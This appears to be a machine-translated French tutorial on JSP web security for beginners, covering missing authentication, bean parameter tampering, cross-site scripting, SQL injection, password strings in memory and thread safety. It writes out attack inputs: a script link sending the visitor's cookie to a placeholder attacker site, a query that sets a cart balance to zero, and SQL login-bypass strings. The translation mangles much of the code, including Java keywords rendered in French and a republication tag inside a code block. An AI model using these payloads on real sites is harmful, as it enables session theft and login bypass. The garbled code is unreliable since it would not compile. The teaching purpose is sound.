Java Server Page (JSP) devient de plus en plus populaire en tant que technologie permettant de créer des pages Web dynamiques. JSP, ASP et PHP ont des mécanismes de travail différents. De manière générale, les pages JSP sont compilées plutôt qu'interprétées lors de leur exécution. Le premier appel à un fichier JSP est en fait un processus de compilation dans un servlet. Lorsque le navigateur demandera ce fichier JSP au serveur, le serveur vérifiera si le fichier JSP a changé depuis la dernière compilation. S'il n'y a pas de changement, le Servlet sera exécuté directement sans recompilation. De cette façon, l'efficacité sera significative. amélioré.
Aujourd'hui, j'examinerai avec vous la sécurité de JSP du point de vue de la programmation de scripts. Les risques de sécurité tels que l'exposition du code source dépassent le cadre de cet article. L'objectif principal de la rédaction de cet article est de rappeler aux amis qui débutent dans la programmation JSP de prendre conscience dès le début d'une programmation sûre, de ne pas commettre d'erreurs qui ne devraient pas être commises et d'éviter les pertes évitables. De plus, je suis également un débutant. Si vous avez des erreurs ou d'autres opinions, n'hésitez pas à poster et à me le faire savoir.
1. Authentification lâche - erreurs de bas niveau
Dans la version révisée du Yiyang Forum v1.12,
user_manager.jsp est une page gérée par l'utilisateur. L'auteur connaît sa sensibilité et ajoute un verrou :
if ((session.getValue( "UserName". )==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("Administrateur système")))
{
réponse.sendRedirect("err.jsp?id=14");
retour;
}
Si vous souhaitez afficher et modifier les informations d'un utilisateur, vous devez utiliser le fichier modifieruser_manager.jsp. Soumis par l'administrateur
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
Il s'agit de visualiser et de modifier les informations de l'utilisateur avec l'ID 51 (l'ID utilisateur par défaut de l'administrateur est 51). Cependant, un document aussi important manque d'authentification. Les utilisateurs ordinaires (y compris les touristes) peuvent soumettre directement la demande ci-dessus et en avoir une vue claire (le mot de passe est également stocké et affiché en texte clair). modifieruser_manage.jsp est également ouvert. Ce n'est que lorsque l'utilisateur malveillant termine l'opération de mise à jour des données et redirige vers user_manager.jsp qu'il verra la page qui affiche tardivement l'erreur. Évidemment, il ne suffit pas de verrouiller une porte. Lors de la programmation, vous devez prendre la peine d'ajouter une authentification d'identité à chaque endroit où une authentification d'identité doit être ajoutée.
2. Conservez l'entrée de JavaBean.
Le cœur de la technologie des composants JSP est le composant Java appelé bean. Dans le programme, les opérations de contrôle logique et de base de données peuvent être placées dans le composant Javabeans, puis appelées dans le fichier JSP, ce qui peut augmenter la clarté du programme et sa réutilisabilité. Par rapport aux pages ASP ou PHP traditionnelles, les pages JSP sont très simples car de nombreux processus de traitement de pages dynamiques peuvent être encapsulés dans des JavaBeans.
Pour modifier les propriétés JavaBean, utilisez la balise "<jsp:setProperty>".
Le code suivant fait partie du code source d'un système d'achat électronique imaginaire. Ce fichier est utilisé pour afficher les informations dans la boîte d'achat de l'utilisateur, et checkout.jsp est utilisé pour le paiement.
<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>
<html>
<head><title>Votre panier</title></head>
<corps>
<p>
Vous avez ajouté l'élément
<jsp::getProperty name="myBasket" property="newItem"/>
à votre panier.
<br/>
Votre total est de $
<jsp::getProperty name="myBasket" property="balance"/>
Passez à <a href="checkout.jsp">checkout</a>
Avez-vous remarqué property="*" ? Cela indique que les valeurs de toutes les variables saisies par l'utilisateur dans la page JSP visible, ou soumises directement via la chaîne de requête, seront stockées dans les propriétés du bean correspondant.
Généralement, les utilisateurs soumettent des requêtes comme celle-ci :
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
Mais qu'en est-il des utilisateurs indisciplinés ? Ils peuvent soumettre :
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
De cette façon, les informations balance=0 sont stockées dans le JavaBean. Lorsqu'ils cliquent sur « Commander » pour procéder au paiement, les frais sont annulés.
C'est exactement le même problème de sécurité causé par les variables globales en PHP. Cela ressort de ceci : "property="*"" doit être utilisé avec prudence !
3. L'attaque cross-site scripting de longue durée
L'attaque Cross-site scripting (Cross Site Scripting) consiste à insérer manuellement des scripts malveillants JavaScript, VBScript, ActiveX, HTML ou Flash dans le code HTML d'une page WEB distante pour voler la navigation de celle-ci. page. confidentialité des utilisateurs, modifier les paramètres utilisateur et détruire les données utilisateur. Les attaques de cross-site scripting n'affecteront pas le fonctionnement des serveurs et des programmes WEB dans la plupart des cas, mais elles constituent une menace sérieuse pour la sécurité des clients.
Prenez le Forum Acai (bêta-1) de Fangdong.com comme exemple le plus simple. Lorsque nous soumettons
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>alert(document.cookie)</script>,
une boîte de dialogue contenant nos propres informations sur les cookies apparaîtra. Soumettez
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.163.com'</script>
pour rediriger vers NetEase .
Le script n'effectuant aucun encodage ni filtrage du code malveillant lors du renvoi de la valeur de la variable "name" au client, lorsque l'utilisateur accède à la liaison de données embarquant la variable "name" malveillante, le code du script sera exécuté sur le le navigateur de l'utilisateur, ce qui peut entraîner des conséquences telles qu'une fuite de la confidentialité de l'utilisateur. Par exemple, le lien suivant :
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.hackersite.com/xxx.xxx?' +document .cookie</script>
xxx.xxx est utilisé pour collecter les paramètres suivants, et le paramètre ici spécifie document.cookie, qui est le cookie de l'utilisateur qui accède à ce lien. Dans le monde ASP, de nombreuses personnes maîtrisent la technique du vol de cookies. En JSP, la lecture des cookies n'est pas difficile. Bien entendu, le cross-site scripting ne se limite jamais à la fonction de vol de cookies. Je pense que tout le monde en a une certaine compréhension, je n’entrerai donc pas dans les détails ici.
Toutes les entrées et sorties des pages dynamiques doivent être codées pour éviter dans une large mesure les attaques de scripts inter-sites. Malheureusement, le codage de toutes les données non fiables nécessite beaucoup de ressources et peut avoir un impact sur les performances du serveur Web. Une méthode courante consiste à filtrer les données d'entrée. Par exemple, le code suivant remplace les caractères dangereux :
<% String message = request.getParameter("message");
message = message.replace ('<','_');
message = message.replace ('>','_');
message = message.replace ('"','_');
message = message.replace (''','_');
message = message.replace ('%','_'); [Republié depuis:51item.net]
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_'); %>
Une manière plus positive consiste à utiliser des expressions régulières pour autoriser uniquement la saisie des caractères spécifiés :
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) renvoie vrai ;
sinon, retourne faux ;
}
4. Gardez toujours à l'esprit l'injection SQL
lorsque vous enseignez aux débutants, les livres de programmation générale ne veillent pas à leur permettre de développer des habitudes de programmation sûres dès le début. Le célèbre « Pensées et pratiques de programmation JSP » montre aux débutants comment écrire un système de connexion avec une base de données (la base de données est MySQL) :
Statement stmt = conn.createStatement();
String checkUser = "select * from login où username = '" + userName + "' et userpassword = '" + userPassword + "'" ;
ResultSet rs = stmt.executeQuery(checkUser);
si(rs.next())
réponse.sendRedirect("SuccessLogin.jsp");
autre
réponse.sendRedirect("FailureLogin.jsp");
Cela permet aux personnes qui croient au livre d'utiliser de tels codes de connexion naturellement "troués" pendant une longue période. S'il y a un utilisateur nommé « jack » dans la base de données, alors il existe au moins les manières suivantes de se connecter sans connaître le mot de passe :
Nom d'utilisateur : jack
Mot de passe : ' ou 'a'='a
Nom d'utilisateur : Jack
Mot de passe : ' ou 1=1/*
Nom d'utilisateur : jack' ou 1=1/*
Mot de passe : (n'importe lequel)
lybbs (Lingyun Forum) ver 2.9.Server vérifie les données soumises pour la connexion dans LogInOut.java comme ceci :
if(s.equals("") ││ s1.equals(""))
throw new UserException("Le nom d'utilisateur ou le mot de passe ne peut pas être vide.");
if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf(" \") != -1)
throw new UserException("Le nom d'utilisateur ne peut pas inclure de caractères illégaux tels que ' " \ , etc.");
if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf(" \") != -1)
throw new UserException("Le mot de passe ne peut pas inclure de caractères illégaux tels que ' " \ *.");
if(s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("Les espaces ne peuvent pas être utilisés dans le nom d'utilisateur ou le mot de passe.");
Mais je ne sais pas pourquoi il filtre uniquement les astérisques sur les mots de passe et non sur les noms d'utilisateur. De plus, il semble que les barres obliques devraient également être incluses dans la « liste noire ». Je pense toujours qu'il est plus simple d'utiliser des expressions régulières pour autoriser uniquement les caractères situés dans une plage spécifiée.
Un mot d'avertissement ici : ne pensez pas que la « sécurité » inhérente à certains systèmes de bases de données puisse résister efficacement à toutes les attaques. L'article de Pinkeyes « Exemple d'injection PHP » donne une leçon à ceux qui s'appuient sur « magic_quotes_gpc = On » dans le fichier de configuration PHP.
5. Dangers cachés apportés par les objets String
La plateforme Java a en effet rendu la programmation de sécurité plus pratique. Il n'y a pas de pointeurs en Java, ce qui signifie que les programmes Java ne peuvent plus adresser aucun emplacement mémoire dans l'espace d'adressage comme C. Les problèmes de sécurité sont vérifiés lorsque le fichier JSP est compilé dans un fichier .class. Par exemple, les tentatives d'accès aux éléments du tableau qui dépassent la taille du tableau seront rejetées, ce qui évite largement les attaques par débordement de tampon. Cependant, les objets String nous apporteront certains risques de sécurité. Si le mot de passe est stocké dans un objet Java String, il restera en mémoire jusqu'à ce qu'il soit récupéré ou que le processus se termine. Même après le garbage collection, il existera toujours dans le tas de mémoire libre jusqu'à ce que l'espace mémoire soit réutilisé. Plus la chaîne du mot de passe reste longtemps en mémoire, plus le risque d'écoute clandestine est grand. Pire encore, si la mémoire réelle est réduite, le système d'exploitation pagine cette chaîne de mot de passe dans l'espace d'échange du disque, étant ainsi vulnérable aux attaques d'écoute clandestine des blocs de disque. Pour minimiser (mais pas éliminer) la possibilité d'une telle compromission, vous devez stocker le mot de passe dans un tableau de caractères et le remettre à zéro après utilisation (les chaînes sont immuables et ne peuvent pas être remises à zéro).
6. Une étude préliminaire sur la sécurité des threads
"Ce que JAVA peut faire, JSP peut le faire". Contrairement aux langages de script tels que ASP et PHP, JSP est exécuté par défaut de manière multithread. L'exécution de manière multithread peut réduire considérablement les besoins en ressources du système et améliorer la concurrence et le temps de réponse du système. Les threads sont des chemins d'exécution indépendants et simultanés dans le programme. Chaque thread possède sa propre pile, son propre compteur de programme et ses propres variables locales. Bien que la plupart des opérations dans une application multithread puissent être effectuées en parallèle, certaines opérations, telles que la mise à jour des indicateurs globaux ou le traitement des fichiers partagés, ne peuvent pas être effectuées en parallèle. Si la synchronisation des threads n'est pas bien effectuée, des problèmes surviendront également lors d'accès simultanés importants sans la « participation enthousiaste » d'utilisateurs malveillants. La solution la plus simple consiste à ajouter : l'instruction <%@ page isThreadSafe="false" %> au fichier JSP concerné pour le faire exécuter de manière monothread. À ce stade, toutes les requêtes client sont exécutées de manière série. Cela peut sérieusement dégrader les performances du système. Nous pouvons toujours laisser le fichier JSP s'exécuter de manière multithread et synchroniser les threads en verrouillant la fonction. Une fonction plus le mot-clé synchronisé acquiert un verrou. Regardez l'exemple suivant :
public class MyClass{
int un;
public Init() {//Cette méthode peut être appelée par plusieurs threads en même temps a = 0 ;
}
public synchronisé void Set() {//Deux threads ne peuvent pas appeler cette méthode en même temps if(a>5) {
une= une-5 ;
}
}
}
Mais cela aura quand même un certain impact sur les performances du système. Une meilleure solution consiste à utiliser des variables locales au lieu de variables d'instance. Étant donné que les variables d'instance sont allouées dans le tas et sont partagées par tous les threads appartenant à l'instance, elles ne sont pas thread-safe, tandis que les variables locales sont allouées dans la pile car chaque thread a son propre espace de pile, il est donc thread-safe. . Par exemple, le code pour ajouter des amis dans le forum Lingyun :
public void addFriend(int i, String s, String s1)
lance DBConnectException
{
essayer
{
si……
autre
{
DBConnect dbconnect = new DBConnect("insérer dans les valeurs d'un ami (authorid,friendname) (?,?)");
dbconnect.setInt(1, je);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
dbconnect.close();
dbconnect = nul ;
}
}
catch(Exception exception)
{
lancer une nouvelle DBConnectException(exception.getMessage());
}
}
Voici l'appel :
friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
}
Si une variable d'instance est utilisée, alors la variable d'instance est partagée par tous les threads de l'instance. Il est possible qu'après que l'utilisateur A ait transmis un certain paramètre, son thread passe en état de veille et que le paramètre soit modifié par inadvertance par l'utilisateur B. provoquant le phénomène de non-concordance entre amis.